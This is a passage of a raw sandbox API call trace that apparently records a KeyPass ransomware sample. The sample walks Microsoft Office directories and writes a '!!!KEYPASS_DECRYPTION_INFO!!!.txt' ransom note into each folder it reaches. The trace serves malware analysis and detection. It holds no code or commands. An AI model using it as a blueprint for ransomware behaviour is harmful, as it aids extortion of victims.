Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.358] FindNextFileW (in: hFindFile=0x3997f30, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.358] FindNextFileW (in: hFindFile=0x3997e70, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.358] FindNextFileW (in: hFindFile=0x3997db0, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0 [0276.358] FindNextFileW (in: hFindFile=0x50ea488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0276.358] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0276.358] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.358] GetLastError () returned 0x3f0 [0276.358] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.358] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4daf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1870 [0276.362] GetFileType (hFile=0x1870) returned 0x1 [0276.362] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0276.362] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0276.362] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0276.362] WriteFile (in: hFile=0x1870, lpBuffer=0x2e4c790*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c0bc, lpOverlapped=0x0 | out: lpBuffer=0x2e4c790*, lpNumberOfBytesWritten=0x2e4c0bc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.363] WriteFile (in: hFile=0x1870, lpBuffer=0x2e4c790*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c0bc, lpOverlapped=0x0 | out: lpBuffer=0x2e4c790*, lpNumberOfBytesWritten=0x2e4c0bc*=0x2a, lpOverlapped=0x0) returned 1 [0276.363] CloseHandle (hObject=0x1870) returned 1 [0276.363] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\*", lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0x3997a30 [0276.363] FindNextFileW (in: hFindFile=0x3997a30, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.363] FindNextFileW (in: hFindFile=0x3997a30, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.363] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.363] FindNextFileW (in: hFindFile=0x3997a30, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.363] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.363] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.363] GetLastError () returned 0x3f0 [0276.364] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.364] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft analysis services\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1878 [0276.365] GetFileType (hFile=0x1878) returned 0x1 [0276.365] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.365] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.365] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.365] WriteFile (in: hFile=0x1878, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.366] WriteFile (in: hFile=0x1878, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.366] CloseHandle (hObject=0x1878) returned 1 [0276.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x3997ff0 [0276.366] FindNextFileW (in: hFindFile=0x3997ff0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.366] FindNextFileW (in: hFindFile=0x3997ff0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.366] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.366] FindNextFileW (in: hFindFile=0x3997ff0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.366] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.366] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.366] GetLastError () returned 0x3f0 [0276.366] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.366] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x187c [0276.367] GetFileType (hFile=0x187c) returned 0x1 [0276.367] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.367] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.367] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.367] WriteFile (in: hFile=0x187c, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.368] WriteFile (in: hFile=0x187c, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.368] CloseHandle (hObject=0x187c) returned 1 [0276.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997930 [0276.368] FindNextFileW (in: hFindFile=0x3997930, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.368] FindNextFileW (in: hFindFile=0x3997930, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.369] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.369] FindNextFileW (in: hFindFile=0x3997930, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.369] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.369] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.369] GetLastError () returned 0x3f0 [0276.369] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.369] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\140\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1880 [0276.456] GetFileType (hFile=0x1880) returned 0x1 [0276.456] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.456] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.456] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.456] WriteFile (in: hFile=0x1880, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.457] WriteFile (in: hFile=0x1880, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.458] CloseHandle (hObject=0x1880) returned 1 [0276.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3997bb0 [0276.458] FindNextFileW (in: hFindFile=0x3997bb0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.458] FindNextFileW (in: hFindFile=0x3997bb0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.458] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.458] FindNextFileW (in: hFindFile=0x3997bb0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.458] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.458] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.458] GetLastError () returned 0x3f0 [0276.458] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.458] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\140\\cartridges\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4cdb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1874 [0276.469] GetFileType (hFile=0x1874) returned 0x1 [0276.469] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.469] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.469] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.469] WriteFile (in: hFile=0x1874, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.470] WriteFile (in: hFile=0x1874, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x2a, lpOverlapped=0x0) returned 1 [0276.470] CloseHandle (hObject=0x1874) returned 1 [0276.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\*", lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0x3997870 [0276.470] FindNextFileW (in: hFindFile=0x3997870, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.470] FindNextFileW (in: hFindFile=0x3997870, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.470] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.470] FindNextFileW (in: hFindFile=0x3997870, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0 [0276.470] FindNextFileW (in: hFindFile=0x3997bb0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.470] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.470] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.470] GetLastError () returned 0x3f0 [0276.470] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.470] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\140\\resources\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4cdb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1884 [0276.471] GetFileType (hFile=0x1884) returned 0x1 [0276.471] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.471] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.471] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.471] WriteFile (in: hFile=0x1884, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.472] WriteFile (in: hFile=0x1884, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x2a, lpOverlapped=0x0) returned 1 [0276.472] CloseHandle (hObject=0x1884) returned 1 [0276.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\*", lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0x39978b0 [0276.473] FindNextFileW (in: hFindFile=0x39978b0, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.473] FindNextFileW (in: hFindFile=0x39978b0, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.473] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.473] FindNextFileW (in: hFindFile=0x39978b0, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.473] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0276.473] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.473] GetLastError () returned 0x3f0 [0276.473] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.473] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\140\\resources\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4ca68, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1888 [0276.474] GetFileType (hFile=0x1888) returned 0x1 [0276.474] GetLocaleInfoEx (in: 